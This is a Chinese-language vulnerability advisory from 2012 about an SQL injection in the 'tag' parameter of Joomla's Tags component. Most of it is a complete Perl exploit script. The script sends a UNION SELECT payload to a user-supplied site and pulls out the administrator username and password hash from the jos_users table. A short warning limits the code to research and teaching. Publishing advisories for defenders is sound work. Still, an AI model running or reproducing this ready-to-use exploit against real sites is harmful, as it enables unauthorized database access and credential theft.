Joomla Tags Component 'tag'参数SQL注入漏洞
发布日期:2012-10-19
更新日期:2012-10-22
受影响系统:Joomla! Joomla!
描述:
BUGTRAQ ID:
56147
Joomla!是一款开放源码的内容管理系统(CMS)。
Tags组件存在SQL注入漏洞,成功利用后可允许攻击者控制应用、访问或修改数据或利用下层数据库内的其他漏洞。
<*来源:D4NB4R
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/usr/bin/perl -w
# Joomla Component (tag) Remote SQL Exploit
#----------------------------------------------------------------------------#
########################################
print "\t\t\n\n";
print "\t\n";
print "\t Daniel Barragan D4NB4R \n";
print "\t \n";
print "\t Joomla com_tag Remote Sql Exploit \n";
print "\t\n\n";
use LWP::UserAgent;
print "\nIngrese el Sitio:[
http://wwww.site.com/path/]: ";
chomp(my $target=<STDIN>);
#the username of joomla
$user="username";
#the pasword of joomla
$pass="password";
#the tables of joomla
$table="jos_users";
$d4n="com_tag&task";
$component="tag&lang=es";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target ."index.php?option=".$d4n."=".$component."&tag=999999.9' union all select 1,concat(0x3c757365723e,".$user.",0x3c757365723e3c706173733e,".$pass.",0x3c706173733e)+from ".$table."--+a";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
if ($answer =~ /<user>(.*?)<user>/){
print "\nLos Datos Extraidos son:\n";
print "\n
* Admin User : $1";
}
if ($answer =~/<pass>(.*?)<pass>/){print "\n
* Admin Hash : $1\n\n";
print "\t\t# El Exploit aporto usuario y password #\n\n";}
else{print "\n[-] Exploit Failed, Intente manualmente...\n";}
建议:
厂商补丁:
Joomla!
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.joomla.org/浏览次数:2391
严重程度:0(网友投票)